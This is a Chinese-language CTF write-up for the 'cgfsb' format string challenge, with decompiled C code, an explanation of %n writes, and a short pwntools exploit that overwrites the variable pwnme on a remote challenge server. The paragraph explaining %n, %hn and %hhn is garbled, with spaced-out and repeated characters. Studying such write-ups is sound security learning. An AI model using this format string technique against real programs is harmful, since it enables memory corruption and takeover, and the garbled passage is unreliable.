cgfsb-格式化字符串

cgfsb-格式化字符串漏洞

程序大致逻辑如下

 v8 = __readgsdword(0x14u);
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  buf = 0;
  v5 = 0;
  v6 = 0;
  memset(&s, 0, 0x64u);
  puts("please tell me your name:");
  read(0, &buf, 0xAu);
  puts("leave your message please:");
  fgets(&s, 0x64, stdin);
  printf("hello %s", &buf);
  puts("your message is:");
  printf(&s);                                   // 格式化字符串漏洞
  if ( pwnme == 8 )
  {
    puts("you pwned me, here is your flag:\n");
    system("cat flag");
  }
  else
  {
    puts("Thank you!");
  }
  return 0;
}

要求变量pwnme的值为8 ,发现了格式化字符串漏洞printf(&s),由于没有设置第一个fromt参数,printf自动将我们输入的字符串当作fromt参数,我们可以利用参数%n,向pwnme处写入数据

%n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100×10 n 表 示 将 0 x 64 写 入 偏 移 10 处 保 存 的 指 针 所 指 向 的 地 址 ( 4 字 节 ) , 而 n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而% n0x64104hn表示写入的地址空间为2字节,% h h n 表 示 写 入 的 地 址 空 间 为 1 字 节 , hhn表示写入的地址空间为1字节,% hhn1lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过% h n 或 hn或% hnhhn来适时调整。

我们将pwnme的地址写在栈上,在printf上下断点,查看一下pwnme的偏移。

cgfsb-格式化字符串_第1张图片

偏移为10,即可确定payload=p32(0x0804A068)+‘aaaa’+’%10$n’

最后exp如下

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level='debug'
p=remote('111.198.29.45','51433')
p.recvuntil(':\n')
p.sendline('111')
payload=p32(0x0804A068)+'aaaa'+'%10$n'
p.sendline(payload)
p.recvuntil(':\n')
print p.recv()
sleep(2)

参考文章如下

https://www.anquanke.com/post/id/85785

你可能感兴趣的:(CTF-PWN)